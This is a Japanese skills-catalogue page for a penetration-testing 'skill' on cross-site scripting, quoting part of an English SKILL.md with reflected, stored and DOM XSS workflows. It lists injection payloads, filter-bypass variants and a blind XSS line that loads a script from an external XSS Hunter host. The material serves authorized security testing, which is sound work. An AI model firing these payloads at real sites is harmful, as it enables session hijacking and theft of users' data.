本文へスキップ
Skillpedia
テスト35k · #8392

testing-for-xss-vulnerabilities

できること

このツールは、攻撃者が悪意のあるコードを埋め込めてしまうWebサイトのセキュリティ上の弱点を見つけるためのものです。ユーザーの情報を盗んだり、アカウントを乗っ取ったりする攻撃から守られているかを確認します。

使う場面

  • ✓Webサイトが、悪意のあるコードの埋め込み攻撃に対して安全かどうかをテストするとき。
  • ✓サイトの悪意のあるコードに対する防御が正しく機能しているかを確認するとき。
  • ✓攻撃によってユーザーの情報が盗まれたり、なりすまされたりする可能性を示すとき。

スキルのリンク

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“WebサイトXが、悪意のあるコードの埋め込みやセッションハイジャックに対して安全かどうかを確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

このツールは、Webサイトのさまざまな箇所に「alert(1)」のような小さなコードを入れて、そのコードが実行されるかを調べます。また、既存の防御をすり抜けることを試し、攻撃が実際に可能かを証明しようとします。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

Testing for XSS Vulnerabilities

When to Use

  • Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
  • Evaluating the effectiveness of input sanitization and output encoding across all application features
  • Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
  • Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
  • Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

  • Authorized scope defining the target web application and acceptable testing activities
  • Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
  • Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
  • XSS Hunter or Burp Collaborator for out-of-band payload verification
  • SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

  • Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
  • Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
  • DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
  • Output context identification: For each reflected input, determine the rendering context:
    • HTML body: <div>USER_INPUT</div>
    • HTML attribute: <input value="USER_INPUT">
    • JavaScript string: var x = 'USER_INPUT';
    • URL context: <a href="USER_INPUT">
    • CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

  • HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
  • HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
  • JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
  • URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
  • Inside HTML comments: --><script>alert(1)</script><!--
  • Filter bypass payloads (when basic payloads are blocked):
    • Case variation: <ScRiPt>alert(1)</sCrIpT>
    • Event handlers: <details open ontoggle=alert(1)>
    • SVG: <svg><animate onbegin=alert(1) attributeName=x>
    • Encoding: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

  • Submit XSS payloads to every stored input field identified in Step 1
  • Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
  • Check all locations where the stored input is rendered (the same input may appear on multiple pages)
  • Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
  • Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
  • Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

  • Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
    • document.location, document.URL, document.referrer
    • location.hash, location.search, location.href

…

よくある質問

XSSとは何ですか?

XSS(クロスサイトスクリプティング)は、攻撃者が信頼されたWebサイトに悪意のあるスクリプトを埋め込み、それが他のユーザーのブラウザで実行されてしまう種類の攻撃です。

「ペイロード」とは何ですか?

ペイロードとは、攻撃者がWebサイトに埋め込もうとする悪意のあるコードのことです。メッセージを表示するだけの単純なコマンドから、データを盗むための複雑なコードまであります。

「CSP」とは何ですか?

CSP(コンテンツセキュリティポリシー)は、信頼できるコンテンツの取得元をブラウザに指定することで、XSSなどのコード埋め込み攻撃を防ぐのに役立つセキュリティの仕組みです。

詳細

作者による元の説明

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

repo: mukul975/Anthropic-Cybersecurity-Skills

人気

GitHubのスター
35k
ランキング
#8392
ライセンス
Apache-2.0
更新日
2026/8/31

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル